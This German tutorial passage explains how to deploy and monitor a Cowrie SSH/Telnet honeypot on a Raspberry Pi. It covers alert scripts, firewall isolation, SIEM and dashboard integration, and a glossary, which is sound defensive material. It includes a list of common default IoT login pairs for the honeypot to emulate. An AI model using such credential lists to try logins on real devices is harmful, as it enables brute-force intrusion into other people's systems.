echo "</pre>" >> $OUTPUT_DIR/index.html
Alerting bei kritischen Ereignissen
Benachrichtigung bei ungewöhnlichen Aktivitäten:
#!/bin/bash
# /home/cowrie/alert-check.sh
LOG_FILE="/home/cowrie/cowrie/var/log/cowrie/cowrie.json"
ALERT_FILE="/tmp/honeypot_alerts"
# Prüfe auf mehr als 100 Angriffe in der letzten Stunde
HOUR_AGO=$(date -d '1 hour ago' +%Y-%m-%dT%H:%M)
COUNT=$(grep -E "^.*$HOUR_AGO" $LOG_FILE | grep "login.failed" | wc -l)
if [ $COUNT -gt 100 ]; then
echo "ALERT: $COUNT Angriffe in der letzten Stunde" | \
mail -s "Honeypot Alert" admin@example.com
fi
# Prüfe auf erfolgreiche Logins von neuen IPs
NEW_SUCCESS=$(grep "login.success" $LOG_FILE | tail -5)
if [ ! -z "$NEW_SUCCESS" ]; then
echo "Erfolgreiche Logins detected:\n$NEW_SUCCESS" | \
mail -s "Honeypot: Successful Login" admin@example.com
fi
Log-Rotation und Archivierung
#!/bin/bash
# /home/cowrie/archive-logs.sh
COWRIE_LOGS="/home/cowrie/cowrie/var/log/cowrie"
ARCHIVE_DIR="/home/cowrie/archives"
DATE=$(date +%Y%m%d)
# Alte Logs archivieren
tar czf $ARCHIVE_DIR/cowrie_$DATE.tar.gz -C $COWRIE_LOGS .
# Zu S3 oder externem Speicher hochladen (optional)
# aws s3 cp $ARCHIVE_DIR/cowrie_$DATE.tar.gz s3://honeypot-logs/
# Lokale Logs älter als 7 Tage löschen
find $COWRIE_LOGS -name "*.json" -mtime +7 -delete
find $COWRIE_LOGS -name "*.log" -mtime +7 -delete
# Archive älter als 90 Tage löschen
find $ARCHIVE_DIR -name "cowrie_*.tar.gz" -mtime +90 -delete
Netzwerk-Architektur für produktive Honeypots
DMZ-Konfiguration
Für einen sicheren Betrieb empfiehlt sich eine DMZ (Demilitarized Zone):
[Internet] --- [Firewall] --- [DMZ: Honeypot]
|
+------ [LAN: Produktivsysteme]
Firewall-Regeln:
# Eingehend: Nur SSH erlaubt
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -j DROP
# Ausgehend: Nur notwendige Verbindungen
iptables -A OUTPUT -p tcp --dport 53 -j ACCEPT # DNS
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT # DNS
iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT # HTTP (für Updates)
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT # HTTPS
iptables -A OUTPUT -d 192.168.0.0/16 -j DROP # Kein Zugriff auf LAN
iptables -A OUTPUT -d 10.0.0.0/8 -j DROP # Kein Zugriff auf LAN
VLAN-Isolation
Mit managed Switches kannst du VLANs für strenge Isolation nutzen:
VLAN 10: Management (Port 1-4)
VLAN 20: Honeypot (Port 5)
VLAN 30: Produktion (Port 6-24)
Keine Inter-VLAN-Routing zwischen Honeypot und Produktion!
VPN-Tunnel für Remote-Zugriff
Anstatt den Honeypot direkt aus dem Internet administrierbar zu machen:
# WireGuard-Server auf separatem System
# Honeypot hat nur den WireGuard-Client
# WireGuard-Config auf Honeypot
[Interface]
PrivateKey = <honeypot-private-key>
Address = 10.200.200.2/24
[Peer]
PublicKey = <server-public-key>
AllowedIPs = 10.200.200.1/32
Endpoint = vpn.example.com:51820
PersistentKeepalive = 25
Fortgeschrittene Cowrie-Features
Proxy-Mode für echte Systeme
Cowrie kann als transparente Brücke zu einem echten System dienen:
[honeypot]
backend = user
backend_user = realuser
backend_pass = realpass
Achtung: Diese Konfiguration ist riskant und nur für fortgeschrittene Nutzer empfohlen!
Custom Commands
Eigene Befehle implementieren:
# cowrie/commands/custom.py
from cowrie.shell.command import HoneyPotCommand
class Command_custom(HoneyPotCommand):
def call(self):
self.write("Custom honeypot response\n")
# Logge den Zugriff
self.protocol.logDispatch(eventid='cowrie.command.custom')
commands = {'/usr/bin/custom': Command_custom}
File System Customization
Ein realistischeres Dateisystem erstellen:
# Echtes Ubuntu-Dateisystem kopieren
mkdir -p share/cowrie/custom_fs
cp -r /bin share/cowrie/custom_fs/
cp -r /etc share/cowrie/custom_fs/
cp -r /lib share/cowrie/custom_fs/
# Pickle-Datei generieren
python3 bin/fsctl share/cowrie/custom_fs.pickle create
python3 bin/fsctl share/cowrie/custom_fs.pickle import share/cowrie/custom_fs/
Telnet-Deep-Dive
Telnet-Honeypots sind besonders interessant für IoT-Botnet-Forschung:
[telnet]
enabled = true
port = 23
# Realistische Banner
[telnet_banner]
enabled = true
banner = "\r\nWelcome to Ubuntu 22.04 LTS\r\n\r\nlogin: "
Häufige IoT-Credentials, die du emulieren solltest:
admin:admin
root:root
support:support
user:user
guest:guest
admin:password
root:123456
admin:1234
root:admin
Integration mit Home Lab und Security Stacks
Wazuh SIEM-Integration
Wazuh kann Cowrie-Logs direkt verarbeiten:
<group name="cowrie,">
<rule id="100001" level="5">
<decoded_as>cowrie</decoded_as>
<description>Cowrie SSH Honeypot Event</description>
</rule>
<rule id="100002" level="10">
<if_sid>100001</if_sid>
<match>login.success</match>
<description>Successful Honeypot Login - Possible Breach</description>
</rule>
</group>
Grafana-Dashboard
Visualisiere Honeypot-Daten in Echtzeit:
{
"dashboard": {
"title": "Cowrie Honeypot Dashboard",
"panels": [
{
"title": "Login Attempts per Hour",
"type": "graph",
"targets": [
{
"expr": "sum(rate(cowrie_login_failed[1h]))"
}
]
}
]
}
}
PfSense-Integration
Exportiere Honeypot-Daten zu PfSense für automatische Blockierung:
#!/bin/bash
# Exportiere böswillige IPs für PfSense
cat /home/cowrie/cowrie/var/log/cowrie/cowrie.json | \
jq -r 'select(.eventid == "cowrie.login.success") | .src_ip' | \
sort -u > /tmp/malicious_ips.txt
# Übertrage zu PfSense Alias
scp /tmp/malicious_ips.txt admin@pfsense:/tmp/
Schlussfolgerung und nächste Schritte
Die Einrichtung eines SSH Honeypots mit Cowrie auf einem Raspberry Pi ist ein lohnendes Projekt für jeden, der sich für IT-Sicherheit interessiert. Die gesammelten Daten geben nicht nur Einblick in die aktuelle Bedrohungslage, sondern trainieren auch das Verständnis für Angriffsmuster und Verteidigungsstrategien.
Dein nächster Schritt: Starte heute noch mit der Installation. Die gesamte Einrichtung dauert weniger als eine Stunde, die Erkenntnisse werden dich jedoch Jahre begleiten.
Langfristige Perspektiven:
- Betreibe mehrere Honeypots an verschiedenen Standorten
- Veröffentliche deine Ergebnisse in der Community
- Entwickle eigene Honeypot-Erweiterungen
- Nutze die gesammelten Daten für wissenschaftliche Arbeiten
Das Wissen über Cyberbedrohungen ist die beste Voraussetzung für effektiven Schutz. Dein Honeypot ist der erste Schritt zu einem tieferen Verständnis der digitalen Bedrohungslandschaft 2026.
Ressourcen-Checkliste:
- Raspberry Pi mit Netzteil
- microSD-Karte (16GB+)
- Ethernet-Verbindung
- Router-Zugang für Port-Forwarding
- Statische IP oder DynDNS
- Zeit für Einrichtung (ca. 1 Stunde)
- Neugierde auf Cybersecurity
Willkommen in der Welt der Honeypot-Forschung!
Glossar: Wichtige Begriffe im Honeypot-Umfeld
Honeypot: Ein als Köder dienendes Computersystem, das dazu dient, Angriffe zu erkennen und zu analysieren.
High-Interaction Honeypot: Ein Honeypot, der Angreifern ein echtes Betriebssystem mit echten Schwachstellen bietet. Hohes Risiko, aber maximale Datenqualität.
Low-Interaction Honeypot: Ein Honeypot, der nur ausgewählte Dienste emuliert. Geringeres Risiko, aber begrenzte Interaktionsmöglichkeiten.
Medium-Interaction Honeypot: Ein Kompromiss zwischen High und Low-Interaction, wie Cowrie es darstellt.
Brute-Force-Attacke: Ein Angriff, bei dem systematisch alle möglichen Passwortkombinationen ausprobiert werden.
Dictionary Attack: Ein Angriff, der eine Liste bekannter Passwörter (Wörterbuch) ausprobiert.
Credential Stuffing: Die Verwendung gestohlener Login-Daten aus anderen Datenlecks.
Botnet: Ein Netzwerk infizierter Computer, das von Cyberkriminellen kontrolliert wird.
C2 (Command and Control): Server, die Botnets steuern.
IOC (Indicator of Compromise): Spuren, die auf einen Sicherheitsvorfall hindeuten.
TTP (Tactics, Techniques, and Procedures): Die Methoden, die Angreifer verwenden.
Threat Intelligence: Informationen über Bedrohungen, die zur Verbesserung der Sicherheit genutzt werden.
Deception Technology: Technologien, die Angreifer täuschen und aufhalten sollen.
DMZ (Demilitarized Zone): Ein isoliertes Netzwerksegment für öffentlich zugängliche Systeme.
Egress Filtering: Kontrolle ausgehender Netzwerkverbindungen.
SIEM (Security Information and Event Management): Systeme zur Sammlung und Analyse von Sicherheitsereignissen.
SOAR (Security Orchestration, Automation and Response): Automatisierung von Sicherheitsprozessen.
Empfohlene Produkte (Affiliate-Links — für dich keine Mehrkosten)
Versionshistorie und Aktualisierungen
April 2026 - Version 2.0
- Aktualisiert für Cowrie 2.6.0
- Neue ELK-Stack-Integration
- Erweiterte Docker-Instruktionen
- Raspberry Pi 5 Kompatibilität
Januar 2026 - Version 1.5
- Wazuh-Integration hinzugefügt
- Neue Analyse-Skripte
- Verbesserte Troubleshooting-Sektion
Oktober 2025 - Version 1.0
- Erste Veröffentlichung
- Grundlegende Installation und Konfiguration
